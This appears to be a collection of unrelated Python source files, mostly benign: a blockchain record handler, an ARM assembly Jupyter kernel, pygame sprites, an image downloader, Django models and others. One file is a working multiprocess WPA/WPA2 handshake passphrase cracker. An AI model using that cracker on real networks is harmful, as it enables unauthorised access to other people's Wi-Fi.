= json.loads(transaction.payload.decode()) LOGGER.debug("apply payload: %s", repr(payload)) tnx_action = payload.get('Action', None) txnrecord_id = payload.get('RecordId', None) header = TransactionHeader() header.ParseFromString(transaction.header) tnx_originator = addressing.get_agent_id(header.signer_pubkey) # Retrieve the stored record data if an ID is provided. record_id = txnrecord_id record_store_key = record_id record_store = state_get_single(state, record_store_key) # Check Action if tnx_action == 'Create': if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for CreateRecord') record_store = {} cls.create_record(tnx_originator, record_id, payload, state, record_store) elif tnx_action == "CreateApplication": if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for create_application') cls.create_application(tnx_originator, record_id, payload, state, record_store) elif tnx_action == "AcceptApplication": if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for accept_application') cls.accept_application(tnx_originator, record_id, payload, state, record_store) elif tnx_action == "RejectApplication": if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for reject_application') cls.reject_application(tnx_originator, record_id, payload, state, record_store) elif tnx_action == "CancelApplication": if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for cancel_application') cls.cancel_application(tnx_originator, record_id, payload, state, record_store) elif tnx_action == "Finalize": if txnrecord_id is None: raise InvalidTransaction( 'Record id expected for Finalize') cls.finalize_record(tnx_originator, record_id, payload, state, record_store) else: raise InvalidTransaction('Action {} is not valid'. format(tnx_action)) # Store the record data back state_put_single(state, record_store_key, record_store) @classmethod def create_record(cls, originator, record_id, payload, state, my_store): sensor_id = payload.get('Sensor', None) sensor_idx = None if sensor_id is not None: sensor_idx = addressing.get_sensor_id(sensor_id) record_info = {} # Owner set below record_info['CurrentHolder'] = originator # Custodians set below record_info['Parents'] = payload.get('Parents', None) record_info['Timestamp'] = payload.get('Timestamp') record_info['Sensor'] = sensor_idx record_info['Final'] = False record_info['ApplicationFrom'] = None record_info['ApplicationType'] = None record_info['ApplicationTerms'] = None record_info['ApplicationStatus'] = None record_info['EncryptedConsumerAcccessible'] = None record_info['EncryptedOwnerAccessible'] = None my_store['RecordInfo'] = record_info my_store['StoredTelemetry'] = payload.get('Telemetry', {}) my_store['DomainAttributes'] = payload.get('DomainAttributes', {}) # Determine if this record has parents has_parents = record_info['Parents'] is not None and \ len(record_info['Parents']) > 0 # If there are parents update Owner and Custodian depending on the # ApplicationType if has_parents: # Use the first parent parent_id = record_info['Parents'][0] parent_store = state_get_single(state, parent_id) if parent_store['RecordInfo']['ApplicationType'] == "Owner": # Transfer ownership - in this case there should be # no custodians. if not parent_store['RecordInfo']['Custodians']: raise InvalidTransaction( "Cannot transfer ownership when custodian is present") record_info['Owner'] = originator record_info['Custodians'] = [] else: # Transfer custodianship record_info['Owner'] = \ parent_store['RecordInfo']['Owner'] record_info['Custodians'] = \ list(parent_store['RecordInfo']['Custodians']) # Check the next to last element of the Custodians array. If it # is the new holder, then this is a 'pop' operation. It's also # a pop if here is one custodian and the applicant is the # owner. is_pop = False if len(record_info['Custodians']) > 1 and \ record_info['Custodians'][-2] == originator: is_pop = True elif len(record_info['Custodians']) == 1 and \ record_info['Owner'] == originator: is_pop = True if is_pop: record_info['Custodians'].pop() else: record_info['Custodians'].append(originator) else: # No parents, just create a new record record_info['Owner'] = originator record_info['Custodians'] = [] # If there are parents mark them as final. if has_parents: for parent in record_info['Parents']: parent_store = state_get_single(state, parent) parent_store['RecordInfo']['Final'] = True state_put_single(state, parent, parent_store) # Remove the record from the former owner - even if this # is a custodian transfer we need to store the new # record ID with the owner. AgentHandler.remove_record_owner( state, parent_store['RecordInfo']["Owner"], parent) # Remove the previous holder AgentHandler.remove_record_holder( state, parent_store['RecordInfo']["CurrentHolder"], parent) # Remove the accepted application from the new owner AgentHandler.remove_accepted_application( state, parent_store['RecordInfo']['ApplicationFrom'], parent) # Record the owner of the new record in the agent AgentHandler.add_record_owner( state, record_info["Owner"], record_id, record_info["Owner"] == record_info["CurrentHolder"]) # Record the new record holder in the agent AgentHandler.add_record_holder( state, record_info["CurrentHolder"], record_id) # Register the sensor if sensor_id is not None: if state_get_single(state, sensor_idx) is not None: sensor_store = state_get_single(state, sensor_idx) else: sensor_store = {} sensor_store["Record"] = record_id sensor_store["Name"] = sensor_id state_put_single(state, sensor_idx, sensor_store) @classmethod def create_application(cls, originator, record_id, payload, state, my_store): LOGGER.debug('create_application: %s', my_store) record_info = my_store['RecordInfo'] LOGGER.debug(record_info) # Agent ID who initiated the application record_info['ApplicationFrom'] = originator # custodian or owner record_info['ApplicationType'] = payload['ApplicationType'] # Should be encrypted? record_info['ApplicationTerms'] = payload['ApplicationTerms'] # To indicate acceptance (or not) of the application. record_info['ApplicationStatus'] = "Open" LOGGER.debug(record_info) # Record the new application in the current holder AgentHandler.add_open_application(state, record_info['ApplicationFrom'], record_info['CurrentHolder'], record_id) @classmethod def accept_application(cls, originator, record_id, payload, state, my_store): # Mark the application as accepted. After this the new # owner/custodian is able to make a new record with this # record as the parent. record_info = my_store['RecordInfo'] record_info['ApplicationStatus'] = "Accepted" # Record the accepted application in the new holder AgentHandler.remove_open_application(state, record_info['ApplicationFrom'], record_info['CurrentHolder'], record_id) AgentHandler.add_accepted_application(state, record_info['ApplicationFrom'], record_id, record_info['Sensor']) @classmethod def reject_application(cls, originator, record_id, payload, state, my_store): # Mark the application as rejected. record_info = my_store['RecordInfo'] record_info['ApplicationStatus'] = "Rejected" # Record the rejected application in the agent AgentHandler.remove_open_application(state, record_info['ApplicationFrom'], record_info['CurrentHolder'], record_id) @classmethod def cancel_application(cls, originator, record_id, payload, state, my_store): # Mark the application as cancelled. record_info = my_store['RecordInfo'] record_info['ApplicationStatus'] = "Cancelled" # Record the cancelled application in the agent AgentHandler.remove_open_application(state, record_info['ApplicationFrom'], record_info['CurrentHolder'], record_id) @classmethod def finalize_record(cls, originator, record_id, payload, state, my_store): record_info = my_store['RecordInfo'] record_info['Final'] = True # Remove the record from the agent if record_info['Owner'] != originator: raise InvalidTransaction('Only the current owner can finalize') if record_info['CurrentHolder'] != originator: raise InvalidTransaction('Only the current holder can finalize') AgentHandler.remove_record_owner(state, originator, record_id) AgentHandler.remove_record_holder(state, originator, record_id) class AgentHandler(object): @classmethod def apply(cls, transaction, state): payload = json.loads(transaction.payload.decode()) LOGGER.debug("AgentHandler.apply payload: %s", repr(payload)) tnx_action = payload.get('Action', None) tnx_name = payload.get('Name', None) tnx_type = payload.get('Type', None) tnx_url = payload.get('Url', None) header = TransactionHeader() header.ParseFromString(transaction.header) uid = addressing.get_agent_id(header.signer_pubkey) if tnx_name is None or tnx_name == '': raise InvalidTransaction('Name not set') if tnx_action == "Create": LOGGER.debug("AgentHandler.apply CREATE") if state_get_single(state, uid) is not None: raise InvalidTransaction('Agent ID already registered') my_store = {} my_store['Name'] = tnx_name my_store['Type'] = tnx_type my_store['Url'] = tnx_url my_store['OwnRecords'] = {} my_store['HoldRecords'] = {} my_store['OpenApplications'] = {} my_store['AcceptedApplications'] = {} state_put_single(state, uid, my_store) else: raise InvalidTransaction('Action {} is not valid'. format(tnx_action)) @classmethod def update_record_tracking(cls, state, agent_id, updates): state_id = agent_id my_store = state_get_single(state, state_id) if my_store is None: raise InvalidTransaction("Identifer {} is not present in store". format(state_id)) for update in updates: (field, record_id, value, exists_is_ok) = update if value == "del": if record_id not in my_store[field]: raise InvalidTransaction( "Record {} is not present in state".format(record_id)) del my_store[field][record_id] else: if not exists_is_ok and record_id in my_store[field]: raise InvalidTransaction( "Record {} is already present in state". format(record_id)) my_store[field][record_id] = value state_put_single(state, state_id, my_store) @classmethod def add_record_owner(cls, state, identifier, record_id, own_and_hold): value = 1 if own_and_hold else 0 AgentHandler.update_record_tracking( state, identifier, [("OwnRecords", record_id, value, True)]) @classmethod def remove_record_owner(cls, state, identifier, record_id): AgentHandler.update_record_tracking( state, identifier, [("OwnRecords", record_id, "del", False)]) @classmethod def add_record_holder(cls, state, identifier, record_id): AgentHandler.update_record_tracking( state, identifier, [("HoldRecords", record_id, 0, False)]) @classmethod def remove_record_holder(cls, state, identifier, record_id): AgentHandler.update_record_tracking( state, identifier, [("HoldRecords", record_id, "del", False)]) @classmethod def add_open_application(cls, state, applier_id, holder_id, record_id): AgentHandler.update_record_tracking( state, applier_id, [("OpenApplications", record_id, 1, False)]) AgentHandler.update_record_tracking( state, holder_id, [("HoldRecords", record_id, 1, True)]) @classmethod def remove_open_application(cls, state, applier_id, holder_id, record_id): AgentHandler.update_record_tracking( state, applier_id, [("OpenApplications", record_id, "del", False)]) AgentHandler.update_record_tracking( state, holder_id, [("HoldRecords", record_id, 0, True)]) @classmethod def add_accepted_application(cls, state, identifier, record_id, sensor_id): AgentHandler.update_record_tracking( state, identifier, [("AcceptedApplications", record_id, sensor_id, False)]) @classmethod def remove_accepted_application(cls, state, identifier, record_id): AgentHandler.update_record_tracking( state, identifier, [("AcceptedApplications", record_id, "del", False)])
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class prefixtoinfix: def prefixToInfix(self,prefix): stack = [] l = [] # read prefix in reverse order i = len(prefix) - 1 for j in prefix: if j == ' ': return [],False while i >= 0: if not self.isOperator(prefix[i]): # symbol is operand stack.append(prefix[i]) i -= 1 else: # symbol is operator str = "(" + stack.pop() + prefix[i] + stack.pop() + ")" l.append(str) stack.append(str) i -= 1 return l,stack.pop() def isOperator(self,c): if c == "*" or c == "+" or c == "-" or c == "/" or c == "^" or c == "(" or c == ")": return True else: return False
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from ipykernel.kernelbase import Kernel from iarm.arm import Arm import re import warnings import iarm.exceptions class ArmKernel(Kernel): implementation = 'IArm' implementation_version = '0.1.0' language = 'ARM' language_version = iarm.__version__ language_info = { 'name': 'ARM Coretex M0+ Thumb Assembly', 'mimetype': 'text/x-asm', 'file_extension': '.s' } banner = "Interpreted ARM" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.interpreter = Arm(1024) # 1K memory self.magics = { 'run': self.magic_run, 'register': self.magic_register, 'reg': self.magic_register, 'memory': self.magic_memory, 'mem': self.magic_memory, 'signed': self.magic_signed_rep, 'unsigned': self.magic_unsigned_rep, 'hex': self.magic_hex_rep, 'help': self.magic_help, 'generate_random': self.magic_generate_random, 'postpone_execution': self.magic_postpone_execution } self.number_representation = '' self.magic_unsigned_rep('') # Default to unsigned representation def convert_representation(self, i): """ Return the proper representation for the given integer """ if self.number_representation == 'unsigned': return i elif self.number_representation == 'signed': if i & (1 << self.interpreter._bit_width - 1): return -((~i + 1) & (2**self.interpreter._bit_width - 1)) else: return i elif self.number_representation == 'hex': return hex(i) def magic_generate_random(self, line): """ Set the generate random flag, unset registers and memory will return a random value. Usage: Call the magic by itself or with `true` to have registers and memory return a random value if they are unset and read from, much like how real hardware would work. Defaults to False, or to not generate random values `%generate_random` or `%generate_random true` or `%generate_random false` """ line = line.strip().lower() if not line or line == 'true': self.interpreter.generate_random = True elif line == 'false': self.interpreter.generate_random = False else: stream_content = {'name': 'stderr', 'text': "unknwon value '{}'".format(line)} self.send_response(self.iopub_socket, 'stream', stream_content) return {'status': 'error', 'execution_count': self.execution_count, 'ename': ValueError.__name__, 'evalue': "unknwon value '{}'".format(line), 'traceback': '???'} def magic_postpone_execution(self, line): """ Postpone execution of instructions until explicitly run Usage: Call this magic with `true` or nothing to postpone execution, or call with `false` to execute each instruction when evaluated. This defaults to True. Note that each cell is executed only executed after all lines in the cell have been evaluated properly. `%postpone_execution` or `%postpone_execution true` or `%postpone_execution false` """ line = line.strip().lower() if not line or line == 'true': self.interpreter.postpone_execution = True elif line == 'false': self.interpreter.postpone_execution = False else: stream_content = {'name': 'stderr', 'text': "unknwon value '{}'".format(line)} self.send_response(self.iopub_socket, 'stream', stream_content) return {'status': 'error', 'execution_count': self.execution_count, 'ename': ValueError.__name__, 'evalue': "unknwon value '{}'".format(line), 'traceback': '???'} def magic_signed_rep(self, line): """ Convert all values to it's signed representation Usage: Just call this magic `%signed` """ self.number_representation = 'signed' def magic_unsigned_rep(self, line): """ All outputted values will be displayed with their unsigned representation Usage: Just call this magic `%unsigned` """ self.number_representation = 'unsigned' def magic_hex_rep(self, line): """ All outputed values will be displayed with their hexadecimal representation Usage: Just call this magic `%hex` """ self.number_representation = 'hex' def magic_register(self, line): """ Print out the current value of a register Usage: Pass in the register, or a list of registers separated by spaces A list of registeres can be entered by separating them by a hyphen `%reg R1` or `%reg R0 R5 R6` or `%reg R8-R12` """ message = "" for reg in [i.strip() for i in line.replace(',', '').split()]: if '-' in reg: # We have a range (Rn-Rk) r1, r2 = reg.split('-') # TODO do we want to allow just numbers? n1 = re.search(self.interpreter.REGISTER_REGEX, r1).groups()[0] n2 = re.search(self.interpreter.REGISTER_REGEX, r2).groups()[0] n1 = self.interpreter.convert_to_integer(n1) n2 = self.interpreter.convert_to_integer(n2) for i in range(n1, n2+1): val = self.interpreter.register[r1[0] + str(i)] val = self.convert_representation(val) message += "{}: {}\n".format(r1[0] + str(i), val) else: val = self.interpreter.register[reg] val = self.convert_representation(val) message += "{}: {}\n".format(reg, val) stream_content = {'name': 'stdout', 'text': message} self.send_response(self.iopub_socket, 'stream', stream_content) def magic_memory(self, line): """ Print out the current value of memory Usage: Pass in the byte of memory to read, separated by spaced A list of memory contents can be entered by separating them by a hyphen `%mem 4 5` or `%mem 8-12` """ # TODO add support for directives message = "" for address in [i.strip() for i in line.replace(',', '').split()]: if '-' in address: # We have a range (n-k) m1, m2 = address.split('-') n1 = re.search(self.interpreter.IMMEDIATE_NUMBER, m1).groups()[0] n2 = re.search(self.interpreter.IMMEDIATE_NUMBER, m2).groups()[0] n1 = self.interpreter.convert_to_integer(n1) n2 = self.interpreter.convert_to_integer(n2) for i in range(n1, n2 + 1): val = self.interpreter.memory[i] val = self.convert_representation(val) message += "{}: {}\n".format(str(i), val) else: # TODO fix what is the key for memory (currently it's an int, but registers are strings, should it be the same?) val = self.interpreter.memory[self.interpreter.convert_to_integer(address)] val = self.convert_representation(val) message += "{}: {}\n".format(address, val) stream_content = {'name': 'stdout', 'text': message} self.send_response(self.iopub_socket, 'stream', stream_content) def magic_run(self, line): """ Run the current program Usage: Call with a numbe rto run that many steps, or call with no arguments to run to the end of the current program `%run` or `%run 1` """ i = float('inf') if line.strip(): i = int(line) try: with warnings.catch_warnings(record=True) as w: self.interpreter.run(i) for warning_message in w: # TODO should this be stdout or stderr stream_content = {'name': 'stdout', 'text': 'Warning: ' + str(warning_message.message) + '\n'} self.send_response(self.iopub_socket, 'stream', stream_content) except iarm.exceptions.EndOfProgram as e: f_name = self.interpreter.program[self.interpreter.register['PC'] - 1].__name__ f_name = f_name[:f_name.find('_')] message = "Error in {}: ".format(f_name) stream_content = {'name': 'stdout', 'text': message + str(e) + '\n'} self.send_response(self.iopub_socket, 'stream', stream_content) except Exception as e: for err in e.args: stream_content = {'name': 'stderr', 'text': str(err)} self.send_response(self.iopub_socket, 'stream', stream_content) return {'status': 'error', 'execution_count': self.execution_count, 'ename': type(e).__name__, 'evalue': str(e), 'traceback': '???'} def magic_help(self, line): """ Print out the help for magics Usage: Call help with no arguments to list all magics, or call it with a magic to print out it's help info. `%help` or `%help run """ line = line.strip() if not line: for magic in self.magics: stream_content = {'name': 'stdout', 'text': "%{}\n".format(magic)} self.send_response(self.iopub_socket, 'stream', stream_content) elif line in self.magics: # its a magic stream_content = {'name': 'stdout', 'text': "{}\n{}".format(line, self.magics[line].__doc__)} self.send_response(self.iopub_socket, 'stream', stream_content) elif line in self.interpreter.ops: # it's an instruction stream_content = {'name': 'stdout', 'text': "{}\n{}".format(line, self.interpreter.ops[line].__doc__)} self.send_response(self.iopub_socket, 'stream', stream_content) else: stream_content = {'name': 'stderr', 'text': "'{}' not a known magic or instruction".format(line)} self.send_response(self.iopub_socket, 'stream', stream_content) # TODO add tab completion # TODO add completeness (can be used to return the prompt back to the user in case of an error) def run_magic(self, line): # TODO allow magics at end of code block # TODO allow more than one magic per block if line.startswith('%'): loc = line.find(' ') params = "" if loc > 0: params = line[loc + 1:] op = line[1:loc] else: op = line[1:] return self.magics[op](params) def run_code(self, code): if not code: return try: with warnings.catch_warnings(record=True) as w: self.interpreter.evaluate(code) for warning_message in w: # TODO should this be stdout or stderr stream_content = {'name': 'stdout', 'text': 'Warning: ' + str(warning_message.message) + '\n'} self.send_response(self.iopub_socket, 'stream', stream_content) except Exception as e: for err in e.args: stream_content = {'name': 'stderr', 'text': "{}\n{}".format(type(e).__name__, str(err))} self.send_response(self.iopub_socket, 'stream', stream_content) return {'status': 'error', 'execution_count': self.execution_count, 'ename': type(e).__name__, 'evalue': str(e), 'traceback': '???'} def do_execute(self, code, silent, store_history=True, user_expressions=None, allow_stdin=False): instructions = "" for line in code.split('\n'): if line.startswith('%'): # TODO run current code, run magic, then continue ret = self.run_code(instructions) if ret: return ret instructions = "" ret = self.run_magic(line) if ret: return ret else: instructions += line + '\n' ret = self.run_code(instructions) if ret: return ret return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {} } if __name__ == '__main__': from ipykernel.kernelapp import IPKernelApp IPKernelApp.launch_instance(kernel_class=ArmKernel)
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#! /usr/bin/evn python class Student(object): __slots__ = ('__birth', '__age') @property def birth(self): return self.__birth @birth.setter def birth(self, value): self.__birth = value @property def age(self): return 2015 - self.__birth if __name__ == '__main__': stu = Student() stu.birth = 1991 print(stu.age)
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from .vocab import gloveVocabulary
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import pygame class Weapon(pygame.sprite.Sprite): def __init__(self, player, groups): super().__init__(groups) self.spriteType = 'weapon' direction = player.status.split('_')[0] # graphic fullPath = f'./src/img/weapons/{player.weapon}/{direction}.png' self.image = pygame.image.load(fullPath).convert_alpha() # placement if direction == 'right': self.rect = self.image.get_rect( midleft=player.rect.midright + pygame.math.Vector2(0, 16)) elif direction == 'left': self.rect = self.image.get_rect( midright=player.rect.midleft + pygame.math.Vector2(0, 16)) elif direction == 'down': self.rect = self.image.get_rect( midtop=player.rect.midbottom + pygame.math.Vector2(0, 0)) else: self.rect = self.image.get_rect( midbottom=player.rect.midtop + pygame.math.Vector2(-10, 0))
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from abc import ABC, abstractmethod, ABCMeta from Visitor import Visitor class AST(ABC): def __eq__(self, other): return self.__dict__ == other.__dict__ @abstractmethod def accept(self, v, param): return v.visit(self, param) class Program(AST): #decl:list(Decl) def __init__(self, decl): self.decl = decl def __str__(self): return "Program(List(" + ','.join(str(i) for i in self.decl) + "))" def accept(self, v: Visitor, param): return v.visitProgram(self, param) class Decl(AST): __metaclass__ = ABCMeta pass class FuncDecl(Decl): #name: Id #param: list(VarDecl) #returnType: Type #body: Block def __init__(self, name, param, returnType, body): self.name = name self.param = param self.returnType = returnType self.body = body def __str__(self): return "FuncDecl(" + str(self.name) + ",List(" + ','.join(str(i) for i in self.param) + ")," + str(self.returnType) + "," + str(self.body) + ")" def accept(self, v, param): return v.visitFuncDecl(self, param) class Type(AST): __metaclass__ = ABCMeta pass class IntType(Type): def __str__(self): return "IntType" def accept(self, v, param): return v.visitIntType(self, param) class VoidType(Type): def __str__(self): return "VoidType" def accept(self, v, param): return v.visitVoidType(self, param) class Stmt(AST): __metaclass__ = ABCMeta pass class Expr(Stmt): __metaclass__ = ABCMeta pass class CallExpr(Expr): #method:Id #param:list(Expr) def __init__(self, method, param): self.method = method self.param = param def __str__(self): return "CallExpr(" + str(self.method) + ",List(" + ','.join(str(i) for i in self.param) + "))" def accept(self, v, param): return v.visitCallExpr(self, param) class LHS(Expr): __metaclass__ = ABCMeta pass class Id(LHS): #name:string def __init__(self, name): self.name = name def __str__(self): return "Id(" + self.name + ")" def accept(self, v, param): return v.visitId(self, param) class Block(Stmt): #decl:list(VarDecl) #stmt:list(Stmt) def __init__(self, decl, stmt): self.decl = decl self.stmt = stmt def __str__(self): return "Block(List(" + ','.join(str(i) for i in self.decl) + "),List(" + ','.join(str(i) for i in self.stmt) + "))" def accept(self, v, param): return v.visitBlock(self, param) class Literal(Expr): __metaclass__ = ABCMeta pass class IntLiteral(Literal): #value:int def __init__(self, value): self.value = value def __str__(self): return "IntLiteral(" + str(self.value) + ")" def accept(self, v, param): return v.visitIntLiteral(self, param)
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# # Download images from the LOC IIIF server and store them locally # import requests from pathlib import Path import shutil import time base = 'https://www.loc.gov/' iiifbase = 'https://tile.loc.gov/image-services/iiif/' def getImages(item, dest_dir): downloaded_images = list() Path(dest_dir).mkdir(parents=True, exist_ok=True) imagenum = item['start'] while imagenum <= item['end']: imgurl = iiifbase + item['service'].format(str(imagenum).zfill(4)) r = requests.get(imgurl, stream=True) if r.status_code == 200: imgname = item['lc_id'] + '_' + str(imagenum).zfill(4) + '.jpg' imgpath = dest_dir + '/' + imgname image_info = { "image_name": imgname, "image_location": dest_dir, "source": imgurl, "image_url": "https://www.loc.gov/resource/{}/?sp={}".format(item['lc_id'], str(imagenum).zfill(4)).replace("gdcustel", "usteledirec") } downloaded_images.append(image_info) with open(imgpath, 'wb') as f: r.raw.decode_content = True shutil.copyfileobj(r.raw, f) time.sleep(1) imagenum += 1 print(imgurl) return downloaded_images
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from floodsystem.datafetcher import fetch_measure_levels from floodsystem.stationdata import build_station_list, update_water_levels import floodsystem.flood as flood import floodsystem.plot as plot from datetime import datetime, timedelta import datetime stations = build_station_list() update_water_levels(stations) # plots the water levels over the past 10 days for the 5 stations at which the current relative water level is greatest. def run(): """Requirements for Task 2E""" # makes a list of the 5 stations with the highest relative water level in descending order top_five = flood.stations_highest_rel_level(stations, 5) for i in range(5): station_name = top_five[i][0].name station_check = None for station in stations: if station.name == station_name: station_check = station break if not station_check: print("Station {} could not be found".format(station_name)) dt = 10 dates, levels = fetch_measure_levels(station_check.measure_id, dt = datetime.timedelta(days=dt)) plot.plot_water_levels(station, dates, levels) if __name__ == "__main__": print("*** Task 2E: CUED Part IA Flood Warning System ***") run()
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import hmac, hashlib, binascii from hashlib import sha1 from binascii import a2b_hex, b2a_hex, unhexlify from pbkdf2_ctypes import pbkdf2_bin from multiprocessing import Pool, Queue, cpu_count from datetime import datetime from time import sleep numOfPs = cpu_count() def hmac4times(ptk, pke): tempPke = pke r = '' for i in range(4): r += hmac.new(ptk, pke + chr(i), sha1).digest() return r def crackProcess(ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue, foundPassQ): pke = "Pairwise key expansion" + '\x00' + min(APMac, clientMac) + max(APMac, clientMac) + min(Anonce, Snonce) + max(Anonce, Snonce) count = 0 timeA = datetime.now() while True: passPhrase = passQueue.get() pmk = pbkdf2_bin(passPhrase, ssid, 4096, 32) ptk = hmac4times(pmk, pke) if ord(data[6]) & 0b00000010 == 2: calculatedMic = hmac.new(ptk[0:16], data, sha1).digest()[0:16] else: calculatedMic = hmac.new(ptk[0:16], data).digest() if mic == calculatedMic: foundPassQ.put(passPhrase) def crack(ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue): foundPassQ = Queue() try: timeA = datetime.now() startSize = passQueue.qsize() except: pass pool = Pool(numOfPs, crackProcess, (ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue, foundPassQ)) while True: sleep(1) try: timeB = datetime.now() currentSize = passQueue.qsize() print str(100 - 100.0 * currentSize / startSize) + "% done. " + str((startSize - currentSize) / (timeB - timeA).total_seconds()) + " hashes per second" except: pass if foundPassQ.empty(): if passQueue.empty(): returnVal = False break else: passphrase = foundPassQ.get() returnVal = passphrase break pool.terminate() return returnVal
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import pygame from gui_components.gui_util import get_font, BLACK, BLUE, GRAY class Cell: def __init__(self, value, row, col, width, height): self.value = value self.temp = 0 self.row = row self.col = col self.width = width self.height = height self.set_by_user = False self.selected = False def draw(self, win): font = get_font("arial", 40) gap = self.width / 9 x = self.col * gap y = self.row * gap if self.temp != 0 and self.value == 0: text = font.render(str(self.temp), 1, GRAY) win.blit(text, (x + 45, y + 5)) elif not (self.value == 0): color = BLACK if self.set_by_user: color = BLUE text = font.render(str(self.value), 1, color) win.blit(text, (x + (gap / 2 - text.get_width() / 2), y + (gap / 2 - text.get_height() / 2))) if self.selected: pygame.draw.rect(win, BLUE, (x, y, gap, gap), 5) def set_value(self, val, set_by_user: bool = False): self.value = val self.temp = 0 self.set_by_user = set_by_user def set_temp(self, val): self.value = 0 self.temp = val
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""" Remove Dups: Write code to remove duplicates from an unsorted linked list. FOLLOW UP How would you solve this problem if a temporary buffer is not allowed? """ from linkedlist import linkedlist def remove_dup(linked_list): placeholder = dict() pointer1 = linked_list.top # This guy deletes the dublicate nodes pointer2 = linked_list.top.next # This guy finds the nodes to delete if pointer2 is None: # Only one variable return placeholder[pointer1.data] = 1 while(pointer2.next is not None): placeholder[pointer2.data] = placeholder.get(pointer2.data, 0) + 1 if placeholder[pointer2.data] > 1: pointer1.next = pointer2.next pointer2 = pointer2.next else: pointer1 = pointer2 pointer2 = pointer2.next # Last node case placeholder[pointer2.data] = placeholder.get(pointer2.data, 0) + 1 if placeholder[pointer2.data] > 1: pointer1.next = pointer2.next def _sort(linked_list): #bubble sort sorted = False while(not sorted): node = linked_list.top sorted = True while(node.next is not None): if node.data > node.next.data: sorted = False tmp = node.data node.data = node.next.data node.next.data = tmp node = node.next def remove_dub_no_buff(linked_list): # We may have to sort _sort(linked_list) pointer1 = linked_list.top while (pointer1.next is not None): if (pointer1.data == pointer1.next.data): pointer1.next = pointer1.next.next else: pointer1 = pointer1.next if __name__ == "__main__": test_list = linkedlist(10) test_list.top.append_to_tail(20) test_list.top.append_to_tail(30) test_list.top.append_to_tail(20) # test_list.top.append_to_tail(40) test_list.top.append_to_tail(20) # test_list.top.append_to_tail(50) test_list.top.append_to_tail(40) # test_list.top.append_to_tail(50) # print("Before removing ") test_list.print_all() remove_dub_no_buff(test_list) print("After removing ") test_list.print_all()
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# -*- encoding: utf-8 -*- import sys sys.path.append('../') from habet import Application, Response, Handler, errors import json #custom error register class InvalidJSONError(errors.BaseServerError): def __init__(self, *args, **kwargs): super(InvalidJSONError, self).__init__(*args, **kwargs) self.status = 400 self.code = -32005 self.message = 'Invalid JSON' #root handler class RootHandler(Handler): def get(self): return Response(body={'action': 'new'}) #name handler class NameHandler(Handler): def set_default_headers(self): self.default_headers = { 'X-Custom-Header': 'My header', 'Content-Type': 'application/json' } def get(self): return Response(body={'name': self.request.params['name']}) def post(self): try: body = json.loads(self.request.body) except (TypeError, ValueError): raise InvalidJSONError() return Response(body=body) def finish(self): print app.some_var print 'log stuff' #application setup app = Application(some_var='my var') app.route('/', RootHandler) app.route('/{name}', NameHandler) #run app if __name__ == '__main__': app.listen()
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"""API Django models.""" from __future__ import unicode_literals from django.db import models from django.utils.encoding import python_2_unicode_compatible @python_2_unicode_compatible class Target(models.Model): """Definition of a Target.""" BAN = 'ban' ALLOW = 'allow' TARGET_ACTION_CHOICES = ( (BAN, "Ban"), (ALLOW, "Allow"), ) target_action = models.CharField( max_length=5, choices=TARGET_ACTION_CHOICES, ) IPADDR = 'ip' DOMAIN = 'domain' URL = 'url' HASH = 'hash' USER = 'user' TARGET_TYPE_CHOICES = ( (IPADDR, 'IP Address'), (DOMAIN, 'Domain'), (URL, 'URL'), (HASH, 'Hash'), (USER, 'User'), ) target_type = models.CharField( max_length=6, choices=TARGET_TYPE_CHOICES, ) target = models.CharField(max_length=900) reason = models.CharField(max_length=50) method = models.CharField(max_length=50) user = models.CharField(max_length=255) date_created = models.DateTimeField(auto_now_add=True) last_modified = models.DateTimeField(auto_now=True) class Meta: permissions = ( ('target_all_read', 'Read access for all Target types'), ('target_all_write', 'Write access for all Target types'), ('target_ipaddr_read', 'Read access for IP Target types'), ('target_ipaddr_write', 'Write access for IP Target types'), ('target_domain_read', 'Read access for Domain Target types'), ('target_domain_write', 'Write access for Domain Target types'), ('target_url_read', 'Read access for URL Target types'), ('target_url_write', 'Write access for URL Target types'), ('target_hash_read', 'Read access for Hash Target types'), ('target_hash_write', 'Write access for Hash Target types'), ('target_user_read', 'Read access for User Target types'), ('target_user_write', 'Write access for User Target types'), ) def __str__(self): return self.target @python_2_unicode_compatible class TargetIpAddr(models.Model): """Definition of an IP Address Target.""" ipaddr = models.CharField(max_length=45, unique=True) ipaddr_action = models.CharField( max_length=5, choices=Target.TARGET_ACTION_CHOICES, ) target = models.ManyToManyField(Target) method = models.CharField(max_length=50) def __str__(self): return self.ipaddr
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from django.urls import path from .views import UserLogin, UserRegister urlpatterns = [ path("accounts/", UserRegister.as_view()), path("login/", UserLogin.as_view()), ]
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#! /usr/bin/env python3 import argparse from pathlib import Path from pytorch_lightning import seed_everything from ranking_utils.datasets.antique import ANTIQUE from ranking_utils.datasets.fiqa import FiQA from ranking_utils.datasets.insuranceqa import InsuranceQA from ranking_utils.datasets.trecdl import TRECDL2019Passage, TRECDL2019Document from ranking_utils.datasets.trec import TREC def main(): ap = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) ap.add_argument("SAVE", help="Where to save the results") ap.add_argument( "--num_neg_point", type=int, default=1, help="Number of negatives per positive (pointwise training)", ) ap.add_argument( "--num_neg_pair", type=int, default=16, help="Number of negatives per positive (pairwise training)", ) ap.add_argument( "--query_limit_pair", type=int, default=64, help="Maximum number of training examples per query (pairwise training)", ) ap.add_argument("--random_seed", type=int, default=123, help="Random seed") subparsers = ap.add_subparsers(help="Choose a dataset", dest="dataset") subparsers.required = True DATASETS = [ANTIQUE, FiQA, InsuranceQA, TRECDL2019Passage, TRECDL2019Document, TREC] for c in DATASETS: c.add_subparser(subparsers, c.__name__.lower()) args = ap.parse_args() if args.random_seed: seed_everything(args.random_seed) ds = None for c in DATASETS: if args.dataset == c.__name__.lower(): ds = c(args) break save_path = Path(args.SAVE) ds.save(save_path, args.num_neg_point, args.num_neg_pair, args.query_limit_pair) if __name__ == "__main__": main()
